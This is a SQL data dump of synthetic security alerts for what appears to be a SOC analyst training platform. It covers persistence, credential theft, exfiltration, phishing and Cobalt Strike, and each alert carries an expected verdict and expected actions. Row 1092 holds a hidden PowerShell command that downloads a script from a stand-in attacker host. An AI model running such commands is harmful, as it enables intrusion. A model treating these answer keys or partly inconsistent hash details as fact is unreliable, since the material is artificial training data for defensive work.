(1088, 'Establishing Persistence with Scheduled Tasks', 'medium', 'Windows Task Scheduler Logs', 'The Remote Access Trojan (RAT) has set up a scheduled task on the compromised system. This task ensures the malware is executed at regular intervals, even after system reboots, thereby maintaining persistent access.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"EventID\":106,\"ProviderName\":\"Microsoft-Windows-TaskScheduler\",\"Channel\":\"Microsoft-Windows-TaskScheduler/Operational\",\"EventRecordID\":12345,\"Logged\":\"2023-10-15T14:32:10Z\",\"TaskName\":\"\\\\System\\\\CriticalUpdate\",\"TaskActionType\":\"Execute\",\"TaskContent\":{\"Command\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"Arguments\":\"/c C:\\\\Users\\\\Public\\\\malware.exe\",\"UserId\":\"S-1-5-21-3623811015-3361044348-30300820-1013\"},\"HostIP\":\"10.0.0.15\",\"AttackerIP\":\"203.0.113.45\",\"FileHash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"User\":\"compromisedUser\"}', '2026-01-24 03:41:05', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"SHA256 hash of the malware file executed by the scheduled task.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromisedUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"suspicious\",\"details\":\"User account involved in suspicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.797Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"Channel\\\":\\\"Microsoft-Windows-TaskScheduler/Operational\\\",\\\"EventRecordID\\\":12345,\\\"Logged\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\System\\\\\\\\CriticalUpdate\\\",\\\"TaskActionType\\\":\\\"Execute\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malware.exe\\\",\\\"UserId\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"HostIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\",\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"User\\\":\\\"compromisedUser\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.797Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"Channel\\\":\\\"Microsoft-Windows-TaskScheduler/Operational\\\",\\\"EventRecordID\\\":12345,\\\"Logged\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\System\\\\\\\\CriticalUpdate\\\",\\\"TaskActionType\\\":\\\"Execute\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malware.exe\\\",\\\"UserId\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"HostIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\",\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"User\\\":\\\"compromisedUser\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.797Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"Channel\\\":\\\"Microsoft-Windows-TaskScheduler/Operational\\\",\\\"EventRecordID\\\":12345,\\\"Logged\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\System\\\\\\\\CriticalUpdate\\\",\\\"TaskActionType\\\":\\\"Execute\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malware.exe\\\",\\\"UserId\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"HostIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\",\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"User\\\":\\\"compromisedUser\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.797Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"Channel\\\":\\\"Microsoft-Windows-TaskScheduler/Operational\\\",\\\"EventRecordID\\\":12345,\\\"Logged\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\System\\\\\\\\CriticalUpdate\\\",\\\"TaskActionType\\\":\\\"Execute\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malware.exe\\\",\\\"UserId\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"HostIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\",\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"User\\\":\\\"compromisedUser\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.797Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"Channel\\\":\\\"Microsoft-Windows-TaskScheduler/Operational\\\",\\\"EventRecordID\\\":12345,\\\"Logged\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\System\\\\\\\\CriticalUpdate\\\",\\\"TaskActionType\\\":\\\"Execute\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\malware.exe\\\",\\\"UserId\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"HostIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\",\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"User\\\":\\\"compromisedUser\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1089, 'Credential Harvesting and Lateral Movement', 'high', 'Network Traffic Analysis', 'The RAT begins harvesting credentials, allowing the attackers to move laterally across the network and compromise additional systems. Observed network traffic indicates the use of stolen credentials to access multiple internal systems.', 'Credential Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:25:43Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"protocol\":\"TCP\",\"action\":\"allowed\",\"username\":\"jdoe\",\"credentials_used\":true,\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"credential_harvester.exe\",\"session_id\":\"abc123def456\",\"event_id\":\"EID1004\"}', '2026-01-24 03:41:05', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with multiple attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Database\",\"verdict\":\"suspicious\",\"details\":\"User credentials used in unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Identified as a credential harvesting tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"credential_harvester.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Malware file used for credential harvesting.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1090, 'Data Exfiltration via Encrypted Channels', 'high', 'Firewall and Proxy Logs', 'In the final stage, sensitive data is exfiltrated out of the network using encrypted channels, completing the espionage operation. The attacker utilized encrypted HTTPS traffic to transfer data to a command and control server.', 'Data Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:45:00Z\",\"src_ip\":\"10.0.5.23\",\"dst_ip\":\"203.0.113.45\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"protocol\":\"HTTPS\",\"hostname\":\"malicious-server.com\",\"uri\":\"/upload\",\"method\":\"POST\",\"user\":\"jdoe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"sensitive_data.zip\",\"bytes_sent\":1048576}', '2026-01-24 03:41:05', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used in previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive information.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1091, 'Suspicious Email Attachment Detected', 'medium', 'Email Gateway Logs', 'A spear-phishing email from a suspected attacker was detected. The email contained a malicious attachment designed to grant initial access to the bank\'s network. The attachment was flagged due to its similarity to known malware used by the Poseidon Group.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T09:15:32Z\",\"email_id\":\"e1234567890\",\"source_ip\":\"203.0.113.45\",\"source_email\":\"attack@poseidon-group.com\",\"destination_email\":\"employee@bank.com\",\"subject\":\"Urgent: Account Verification Required\",\"attachment_name\":\"Invoice_12345.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"internal_ip\":\"10.0.0.5\",\"user\":\"jdoe\",\"action\":\"attachment_blocked\",\"reason\":\"malicious_attachment_detected\"}', '2026-01-25 20:00:09', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Poseidon Group.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attack@poseidon-group.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address linked to phishing activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Attachment Detected\",\"date\":\"2026-02-01T20:32:22.801Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1092, 'Unauthorized PowerShell Execution', 'high', 'Endpoint Detection and Response (EDR) System', 'An unauthorized PowerShell script execution was detected on host 192.168.1.45. The script was executed using a remote command initiated from a compromised account. The script tried to connect to an external IP 203.0.113.5, known for malicious activities, in an attempt to download additional payloads. This activity is part of an ongoing attempt to establish command and control within the network. Immediate attention and remediation are required to prevent further compromise.', 'Command and Control', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4625\",\"host\":\"192.168.1.45\",\"username\":\"jdoe\",\"process\":\"powershell.exe\",\"command_line\":\"powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.WebClient).DownloadFile(\'http://203.0.113.5/malicious.ps1\', \'C:\\\\Users\\\\jdoe\\\\malicious.ps1\')\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"external_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\malicious.ps1\",\"alert_id\":\"alert-987654321\",\"alert_description\":\"Execution of a malicious PowerShell script detected.\"}', '2026-01-25 20:00:09', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple command and control activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash found in relation to a known malware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR System\",\"verdict\":\"malicious\",\"details\":\"File identified as a malicious script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1093, 'Data Exfiltration Attempt through Unusual Network Traffic', 'high', 'Network Traffic Analysis', 'In the final stage, the Poseidon Group attempts to exfiltrate sensitive data, threatening to leak it unless their extortion demands are met. Analyzing unusual outbound traffic patterns can help intercept this data before it leaves the network.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:07.000Z\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.89\",\"protocol\":\"HTTPS\",\"bytes_sent\":987654321,\"filename\":\"financial_data_report.zip\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"jdoe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\",\"destination_port\":443}', '2026-01-25 20:00:09', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Private IP address within the local network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Poseidon Group\'s known command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Poseidon Group for data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_data_report.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file name indicative of sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1094, 'Suspicious Network Traffic Detected', 'medium', 'Network Monitoring', 'A suspicious spear-phishing email was identified targeting an employee in the finance department. It contained a malicious attachment designed to compromise the network.', 'Initial Access', 'T1566.001', 1, 'investigating', NULL, '{\"timestamp\":\"2023-10-15T14:23:32Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.50\",\"email_subject\":\"Invoice Attached - Urgent\",\"attachment_name\":\"Invoice_2023.pdf\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"recipient_email\":\"john.doe@retailcorp.com\",\"sender_email\":\"finance@trustedvendor.com\",\"alert_id\":\"123456789\",\"rule_triggered\":\"Spear-Phishing Detection\",\"user_agent\":\"Mozilla/5.0\"}', '2026-01-28 00:05:11', '2026-03-09 21:14:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Malicious PDF file hash used in phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"john.doe@retailcorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Email address belongs to a retail company employee.\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"finance@trustedvendor.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Email address spoofed to appear from a trusted vendor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1095, 'Unauthorized Execution of Penetration Testing Tools', 'high', 'Endpoint Detection and Response', 'The attackers successfully deployed Cobalt Strike, a legitimate penetration testing tool, to execute commands and begin lateral movement within the network.', 'Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-09T14:25:35Z\",\"event_id\":\"4720\",\"hostname\":\"compromised-host\",\"username\":\"attacker_user\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c start cobaltstrike.exe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"file_hash\":\"3a7d1f7b9a3b4c1d4f3e5b6c7d8e9f1a\",\"file_name\":\"cobaltstrike.exe\"}', '2026-01-28 00:05:11', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Associated with recent APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a7d1f7b9a3b4c1d4f3e5b6c7d8e9f1a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as Cobalt Strike payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"cobaltstrike.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with Cobalt Strike.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User account used for unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
